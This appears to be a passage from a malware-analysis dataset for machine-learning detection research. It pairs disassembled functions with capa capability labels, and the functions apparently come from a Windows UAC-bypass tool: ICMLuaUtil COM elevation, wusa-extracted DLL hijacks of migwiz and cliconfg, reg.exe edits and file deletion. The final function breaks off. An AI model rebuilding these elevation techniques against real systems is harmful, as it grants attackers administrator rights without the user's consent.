joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400160dc
Capabilities:
Access pe header

Disassembly:
jmp 0x140036060
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
lea rcx, [0x14006d245]
call fcn.140016276
mov eax, dword [rbp + 0x168]
inc eax
shr eax, 1
mov r8d, eax
mov rdx, qword [rbp + 0x160]
xor ecx, ecx
call fcn.140016451
mov word [rbp + 0x44], ax
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140036197
mov rax, qword [rbp + 0x28]
add rax, 0x58
mov qword [rbp + 8], rax
movzx eax, word [rbp + 0x44]
mov ecx, 2
imul rcx, rcx, 0
mov rdx, qword [rbp + 8]
movzx ecx, word [rdx + rcx]
cmp eax, ecx
jge 0x140036106
mov dword [rbp + 0x134], 1
jmp 0x140036110
mov dword [rbp + 0x134], 0
movzx eax, word [rbp + 0x44]
sub eax, dword [rbp + 0x134]
mov word [rbp + 0x44], ax
mov eax, 2
imul rax, rax, 0
mov rcx, qword [rbp + 8]
movzx eax, word [rcx + rax]
movzx ecx, word [rbp + 0x44]
sub ecx, eax
mov eax, ecx
mov word [rbp + 0x44], ax
movzx eax, word [rbp + 0x44]
mov ecx, 2
imul rcx, rcx, 1
mov rdx, qword [rbp + 8]
movzx ecx, word [rdx + rcx]
cmp eax, ecx
jge 0x140036160
mov dword [rbp + 0x134], 1
jmp 0x14003616a
mov dword [rbp + 0x134], 0
movzx eax, word [rbp + 0x44]
sub eax, dword [rbp + 0x134]
mov word [rbp + 0x44], ax
mov eax, 2
imul rax, rax, 1
mov rcx, qword [rbp + 8]
movzx eax, word [rcx + rax]
movzx ecx, word [rbp + 0x44]
sub ecx, eax
mov eax, ecx
mov word [rbp + 0x44], ax
jmp 0x14003619d
xor eax, eax
mov word [rbp + 0x44], ax
movzx eax, word [rbp + 0x44]
add eax, dword [rbp + 0x168]
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x64]
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400160fa
Capabilities:
Delete file

Disassembly:
jmp 0x140034d50
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x1ae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6d8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x688], rax
lea rcx, [0x14006d21f]
call fcn.140016276
mov dword [rbp + 4], 0
mov r9d, 1
lea r8, str._FubukiProc4
mov edx, dword [rbp + 0x6b8]
mov rcx, qword [rbp + 0x6b0]
call fcn.140016bef
test eax, eax
jne 0x140034dc7
jmp 0x140034e2c
mov edx, 0x410
lea rcx, [rbp + 0x30]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rdx, str.Fubuki.exe
lea rcx, [rbp + 0x30]
call fcn.1400165e1
mov r8d, dword [rbp + 0x6b8]
mov rdx, qword [rbp + 0x6b0]
lea rcx, [rbp + 0x30]
call fcn.140016ad7
test eax, eax
jne 0x140034e1b
jmp 0x140034e2c
mov dword [rbp + 4], 1
xor eax, eax
test eax, eax
jne 0x140034da2
cmp dword [rbp + 4], 0
jne 0x140034e65
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
lea rdx, str.Fubuki.exe
lea rcx, [rbp + 0x30]
call fcn.1400165e1
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400526c0]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x688]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x698]
pop rdi
pop rbp
ret

Function at 0x140016118
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x14001fd80
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
lea rcx, [0x14006d0b6]
call fcn.140016276
mov byte [rbp + 0x24], 0x7f
mov qword [rbp + 8], 0
jmp 0x14001fdd4
mov rax, qword [rbp + 8]
inc rax
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x148]
cmp qword [rbp + 8], rax
jae 0x14001fe32
movzx ecx, byte [rbp + 8]
call fcn.140016357
movzx eax, al
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x140]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 0x24]
movzx ecx, byte [rbp + 0x44]
xor eax, ecx
movzx ecx, byte [rbp + 8]
sub eax, ecx
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x140]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
movzx eax, byte [rbp + 0x44]
mov byte [rbp + 0x24], al
jmp 0x14001fdc9
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140016145
Capabilities:
Bypass uac via icmluautil

Disassembly:
jmp 0x140020f10
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14006d0c9]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0x80004005
mov dword [rbp + 0x64], 0
mov qword [rbp + 0x88], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x44], eax
lea rdx, [rbp + 0x64]
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
call fcn.1400168e8
test eax, eax
je 0x140020fbe
cmp dword [rbp + 0x64], 0
jne 0x140020fbe
lea rcx, str.This_method_fixed_unavailable_in_the_current_version_of_Windows__do_you_still_want_to_continue_
call fcn.140016c3f
cmp eax, 6
je 0x140020fbe
mov dword [rbp + 4], 0xc0000120
jmp 0x140021047
lea r9, [rbp + 0x88]
mov r8d, 4
lea rdx, [0x140044030]
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
call fcn.140016889
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140020fe9
jmp 0x140021047
cmp qword [rbp + 0x88], 0
jne 0x140020ffc
mov dword [rbp + 0x24], 0x8007000e
jmp 0x140021047
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov dword [rsp + 0x28], 5
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x88]
call qword [rax + 0x48]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jl 0x14002103d
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140020f87
cmp qword [rbp + 0x88], 0
je 0x140021065
mov rax, qword [rbp + 0x88]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x88]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
cmp dword [rbp + 0x44], 0
jne 0x140021071
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x14001614f
Capabilities:
Print debug messages

Disassembly:
jmp 0x140032fe0
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x72
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1e8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x188], rax
lea rcx, [0x14006d20c]
call fcn.140016276
mov dword [rbp + 4], 0x80004005
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x24], eax
lea rdx, [rbp + 0x88]
lea rcx, str.4D111E08_CBF7_4f12_A926_2C7920AF52FC
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14003307d
jmp 0x1400331b8
lea rax, [rbp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [0x140044060]
mov r8d, 7
xor edx, edx
lea rcx, [rbp + 0x88]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400330b0
jmp 0x1400331b8
cmp qword [rbp + 0x68], 0
jne 0x1400330c3
mov dword [rbp + 4], 0x8007000e
jmp 0x1400331b8
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
lea r9, [rbp + 0x68]
mov r8d, 4
lea rdx, [0x140044060]
lea rcx, str.4D111E08_CBF7_4f12_A926_2C7920AF52FC
call fcn.140016889
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400330fc
jmp 0x1400331b8
cmp qword [rbp + 0x68], 0
jne 0x14003310f
mov dword [rbp + 4], 0x8007000e
jmp 0x1400331b8
mov qword [rbp + 0xb8], 0
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
lea rcx, [rbp + 0xb8]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x1b8]
mov r8d, dword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp + 0x68]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140033169
cmp qword [rbp + 0xb8], 0
je 0x140033169
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x1b8]
mov r8d, dword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x20]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1400331ae
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [rbp + 0x44], 0
jne 0x14003305b
cmp qword [rbp + 0x68], 0
je 0x1400331cd
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
cmp dword [rbp + 0x24], 0
jne 0x1400331d9
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [rbp + 4], 0
jl 0x1400331eb
mov dword [rbp + 0x184], 1
jmp 0x1400331f5
mov dword [rbp + 0x184], 0
mov eax, dword [rbp + 0x184]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140051600]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x188]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x198]
pop rdi
pop rbp
ret
Function at 0x1400161b3
Capabilities:
Delete file

Disassembly:
jmp 0x140034ef0
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x718
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x1c6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x738]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x6e8], rax
lea rcx, [0x14006d232]
call fcn.140016276
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
cmp qword [rbp + 0x718], 0
je 0x140034f79
cmp dword [rbp + 0x720], 0
je 0x140034f79
cmp qword [rbp + 0x710], 0
jne 0x140034f81
mov eax, dword [rbp + 0x24]
jmp 0x14003505e
mov r8d, dword [rbp + 0x720]
mov rdx, qword [rbp + 0x718]
mov rcx, qword [rbp + 0x710]
call fcn.140016ad7
test eax, eax
jne 0x140034fa4
jmp 0x14003504e
mov edx, 0x410
lea rcx, [rbp + 0x90]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.14001616d
lea rdx, str.update.msu
lea rcx, [rbp + 0x90]
call fcn.1400165e1
lea rcx, [rbp + 0x90]
call fcn.14001699c
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140034ffd
jmp 0x14003504e
cmp qword [rbp + 0x728], 0
jne 0x140035019
mov rcx, qword [rbp + 0x710]
call fcn.1400169dd
mov qword [rbp + 0x68], rax
jmp 0x140035024
mov rax, qword [rbp + 0x728]
mov qword [rbp + 0x68], rax
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x710]
mov rcx, qword [rbp + 0x48]
call fcn.140016c1c
mov dword [rbp + 0x24], eax
mov rcx, qword [rbp + 0x48]
call fcn.14001691f
cmp dword [rbp + 4], 0
jne 0x140034f81
mov rcx, qword [rbp + 0x710]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 0x24]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140052950]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x6e8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x6f8]
pop rdi
pop rbp
ret
Function at 0x140016208
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x140021e00
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
mov eax, 0x1218
call fcn.14001600a
sub rsp, rax
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x486
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1238]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x11e8], rax
lea rcx, [0x14006d102]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.14001616d
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
lea rcx, [rbp + 0x890]
call fcn.14001616d
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001616d
mov eax, dword [rbp + 0x1210]
mov dword [rbp + 0x11e4], eax
cmp dword [rbp + 0x11e4], 6
je 0x140021ecd
cmp dword [rbp + 0x11e4], 7
je 0x140021f18
jmp 0x140021f3d
lea rdx, str.wdscore.dll
lea rcx, [rbp + 0x30]
call fcn.1400165e1
lea rdx, str.migwiz_
lea rcx, [rbp + 0x890]
call fcn.1400165e1
lea rdx, str.migwiz_
lea rcx, [rbp + 0x460]
call fcn.1400165e1
lea rdx, str.migwiz.exe
lea rcx, [rbp + 0x460]
call fcn.1400165e1
jmp 0x140021f44
lea rdx, str.ntwdblib.dll
lea rcx, [rbp + 0x30]
call fcn.1400165e1
lea rdx, str.cliconfg.exe
lea rcx, [rbp + 0x460]
call fcn.1400165e1
jmp 0x140021f44
mov eax, 0xc000000d
jmp 0x140021fac
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140021f5d
mov eax, 0xc0000034
jmp 0x140021fac
xor r9d, r9d
mov r8d, dword [rbp + 0x1220]
mov rdx, qword [rbp + 0x1218]
lea rcx, [rbp + 0x30]
call fcn.1400161b3
test eax, eax
je 0x140021fa9
lea rcx, [rbp + 0x890]
call fcn.1400162a3
test eax, eax
je 0x140021fa4
xor edx, edx
lea rcx, [rbp + 0x460]
call fcn.140016a7d
test eax, eax
je 0x140021fa4
mov dword [rbp + 4], 0
call fcn.14001682f
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400479a0]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x11e8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x11f8]
pop rdi
pop rbp
ret
Function at 0x140016226
Capabilities:
Print debug messages

Disassembly:
jmp 0x14003d4c0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x7e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x218]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x1c8], rax
lea rcx, [0x14006d245]
call fcn.140016276
cmp dword [rbp + 0x1f0], 0
je 0x14003d52f
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [0x1400561b4]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x14003d58a
mov eax, 2
imul rax, rax, 0
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0xc8
jae 0x14003d54e
jmp 0x14003d553
call fcn.14001668b
xor eax, eax
mov rcx, qword [rbp + 0x1b8]
mov word [rbp + rcx + 0x10], ax
lea rcx, [rbp + 0x10]
call fcn.140016271
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov r9d, 0x40
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x1f8]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x20]
lea rdx, [0x140053cd0]
call fcn.140016b90
mov rcx, qword [rbp + 0x1c8]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x1d8]
pop rdi
pop rbp
ret

Function at 0x14001623f
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140038580
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1a8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x14006d245]
call fcn.140016276
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0x1000
mov eax, dword [rbp + 0x44]
mov ecx, eax
call fcn.14001687f
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140038610
lea r9, [rbp + 0x84]
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x28]
mov ecx, dword [rbp + 0x180]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rbp + 0x64], eax
jmp 0x140038614
xor eax, eax
jmp 0x140038674
cmp dword [rbp + 0x64], 0xc0000004
jne 0x14003864d
mov rcx, qword [rbp + 0x28]
call fcn.140016032
mov qword [rbp + 0x28], 0
mov eax, dword [rbp + 0x44]
shl eax, 1
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0x14
jle 0x14003864d
mov dword [rbp + 0x64], 0xc0000157
jmp 0x140038656
cmp dword [rbp + 0x64], 0xc0000004
je 0x1400385db
cmp dword [rbp + 0x64], 0
jl 0x140038662
mov rax, qword [rbp + 0x28]
jmp 0x140038674
cmp qword [rbp + 0x28], 0
je 0x140038672
mov rcx, qword [rbp + 0x28]
call fcn.140016032
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140054cd0]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x14001628f
Capabilities:
Terminate process

Disassembly:
jmp 0x1400387f0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x30]
mov rdi, rsp
mov ecx, 0x62
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
lea rcx, [0x14006d245]
call fcn.140016276
mov byte [rbp + 4], 0
mov rcx, qword [rbp + 0x170]
call fcn.14001680c
mov qword [rbp + 0x138], rax
mov rcx, qword [rbp + 0x178]
call fcn.14001680c
mov rcx, qword [rbp + 0x138]
lea rax, [rcx + rax + 1]
mov qword [rbp + 0x140], rax
mov rcx, qword [rbp + 0x190]
call fcn.14001680c
mov rcx, qword [rbp + 0x140]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x188], 0
je 0x1400388ac
mov rcx, qword [rbp + 0x188]
call fcn.14001680c
mov rcx, qword [rbp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x180], 0
je 0x1400388d0
mov rcx, qword [rbp + 0x180]
call fcn.14001680c
mov rcx, qword [rbp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
lea rax, [rax + rax + 0x410]
mov rcx, rax
call fcn.14001687f
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400388f6
xor al, al
jmp 0x140038a5c
mov rax, qword [0x140065a08]
add rax, 0x276
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call fcn.14001616d
lea rdx, str.reg.exe
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
lea rdx, str._add
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
mov rdx, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
lea rdx, [0x140048324]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
mov rdx, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
cmp qword [rbp + 0x180], 0
je 0x140038999
lea rdx, str.__v__
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
lea rdx, [0x14004a93c]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
cmp qword [rbp + 0x188], 0
je 0x1400389c3
lea rdx, [0x140056490]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
mov rdx, qword [rbp + 0x188]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
lea rdx, str.__d__
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
lea rdx, str.___f
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
mov qword [rsp + 0x28], 0
mov word [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call fcn.1400164a1
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x140038a4f
mov edx, 0x1388
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140038a41
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp + 4], 1
mov rcx, qword [rbp + 0x28]
call fcn.140016032
movzx eax, byte [rbp + 4]
lea rsp, [rbp + 0x158]
pop rdi
pop rbp
ret
Function at 0x14001629e
Capabilities:
Print debug messages

Disassembly:
jmp 0x140036ff0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
lea rcx, [0x14006d245]
call fcn.140016276
mov qword [rbp + 0x48], 0x104
cmp qword [rbp + 0x140], 0
je 0x140037056
mov rcx, qword [rbp + 0x140]
call fcn.14001680c
mov rcx, qword [rbp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
cmp qword [0x140065a08], 0
jne 0x14003706f
call fcn.1400168b1
mov rax, qword [rax + 0x30]
mov qword [rbp + 8], rax
jmp 0x14003707e
mov rax, qword [0x140065a08]
mov rax, qword [rax + 0x10]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x48]
shl rax, 1
mov r8, rax
mov edx, 8
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14003711d
lea rdx, str._UCM_
mov rcx, qword [rbp + 0x28]
call fcn.14001616d
cmp qword [rbp + 0x140], 0
je 0x1400370cc
mov rdx, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
lea rdx, str._code__0x
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
mov rcx, qword [rbp + 0x28]
call fcn.14001638e
mov rdx, rax
mov ecx, dword [rbp + 0x148]
call fcn.140016500
lea rdx, [0x14005615c]
mov rcx, qword [rbp + 0x28]
call fcn.1400165e1
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov r8, qword [rbp + 0x28]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400162a3
Capabilities:
Delete file

Disassembly:
jmp 0x1400351d0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x708
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x1c2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x728]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x6d0], rax
lea rcx, [0x14006d232]
call fcn.140016276
mov dword [rbp + 4], 0
mov qword [rbp + 0x48], 0
cmp qword [rbp + 0x700], 0
jne 0x140035237
xor eax, eax
jmp 0x14003531c
mov edx, 0x410
lea rcx, [rbp + 0x70]
call fcn.140016c2b
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14001616d
lea rdx, str.update.msu
lea rcx, [rbp + 0x70]
call fcn.1400165e1
mov rcx, qword [rbp + 0x700]
call fcn.14001680c
mov qword [rbp + 0x6c8], rax
lea rcx, [rbp + 0x70]
call fcn.14001680c
mov rcx, qword [rbp + 0x6c8]
lea rax, [rcx + rax + 1]
lea rax, [rax + rax + 0x208]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x28]
call fcn.14001687f
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x14003530f
lea rdx, str._c_wusa
mov rcx, qword [rbp + 0x48]
call fcn.14001616d
lea rdx, [rbp + 0x70]
mov rcx, qword [rbp + 0x48]
call fcn.1400165e1
lea rdx, str.__extract:
mov rcx, qword [rbp + 0x48]
call fcn.1400165e1
mov rdx, qword [rbp + 0x700]
mov rcx, qword [rbp + 0x48]
call fcn.1400165e1
mov rdx, qword [rbp + 0x48]
lea rcx, str.cmd.exe
call fcn.140016a7d
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x48]
call fcn.140016032
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400528d0]
call fcn.140016b90
mov rax, rdi
mov rcx, qword [rbp + 0x6d0]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x6e8]
pop rdi
pop rbp
ret

Function at 0x1400162b2
Capabilities:
Terminate process

Disassembly:
jmp 0x14003e180
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
